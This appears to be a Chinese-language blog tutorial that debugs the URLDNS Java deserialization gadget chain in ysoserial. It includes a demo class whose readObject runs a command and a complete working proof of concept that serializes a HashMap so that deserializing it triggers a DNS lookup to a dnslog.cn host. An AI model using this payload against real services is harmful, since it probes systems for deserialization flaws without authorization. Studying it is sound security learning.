Java反序列化：URLDNS的反序列化调试分析
URLDNS链子是Java反序列化分析的第0课，网上也有很多优质的分析文章。笔者作为Java安全初学者，也从0到1调试了一遍，现在给出调试笔记。
一. Java反序列化前置知识
Java原生链序列化：利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口，将对象转化成字节序列。
Java原生链反序列化：利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。
测试源码如下，此部分源码参考了ol4three师傅的博客：
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 实现序列化和反序列化具体细节的类
class operation1{
// 将输出字节流写入文件中进行封存
public static void ser(Object obj) {
// 序列化操作，写操作
try {
// 首先文件落地object.obj存储输出流，绑定输出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将输出流字节写入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化，读取操作
try {
// 绑定输入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化时需要从相关的文件容器中读取输出的字节流
// 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230622200428296.png
二. ysoserial环境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial进行分析，这里面已经有现成的环境了
https://github.com/frohoff/ysoserial
注意配置好相应的JDK和SDK版本：
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230704224019895.png
三. URLDNS攻击链
[*]影响的版本问题：与JDK版本无关，其攻击链实现依赖于Java内置类，与第三方库无关
[*]URLDNS这条反序列化链只能发起DNS请求，无法进行其他利用，可以作为验证是否有反序列化漏洞的姿势
调试分析
Gadget Chain：
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析，从而可以被DNSLog平台捕获
URLDNS程序入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件
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main主函数的run函数打断点进入
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230704233815765.png
这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序，然后统一调用来运行各部分的payload
首先是进行序列化：
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706141716624.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706142531102.png
继续往下，生成command，由于是分析URLDNS攻击链，所以只需要修改将返回值为dnslog的临时地址
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706142701137.png
创建实例后，进入到URLDNS的getObject的payload函数
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706143357422.png
getObject函数中应该注意的是：声明了HashMap对象和URL对象，并进行put哈希绑定，最后设置作用域
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706170830440.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706204403039.png
反序列化链子：
在反序列化入口处打断点：
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706195621770.png
在反序列化时调用了readObject函数
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201128369.png
然后进入HashMap.java的readObject函数
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201250160.png
在readObject中调试到此行，了putval，在此处IDEA这个IDE可以选择进入的函数，直接进入后者hash
由于我们读入字节序列，需要将其恢复成相应的对象结构，那么就需要重新putval
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201454673.png
传入的key不为空，执行key.hashCode
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进一步在URL.java文件下
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203125428.png
进入URLStreamHandler的hashCode
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203401159.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706202828241.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706202850373.png
产生解析：
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203000482.png
总的来说，利用链思路如下：
在反序列化URLDNS对象时，也需要反序列化HashMap对象，从而调用了HashMap.readObject()的重写函数，重写函数中调用了哈希表putval等的相关重构函数，在hashcode下调用了getHostAddress函数
那么反之，为什么首次声明的时候没有调用到了getHostAddress函数，现在给出声明时的函数路线：
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现
列出几个路线上的关键函数看看：
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214936664.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214859555.png
由于此处key为String类型，则进入String.hashCode
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214837635.png
相比之下，在反序列化中key为URL类型
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706215923777.png
设置了不发起dns解析
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706221106262.png
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214558083.png
具体执行流，可以看下时序图，我就不讲了^^
https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214734409.png
四. URLDNS链的使用
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不发生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 设置put时不发起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射机制在动态执行时获取类
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 对象输出流绑定文件输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 对象输入流绑定文件输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706222309238.png
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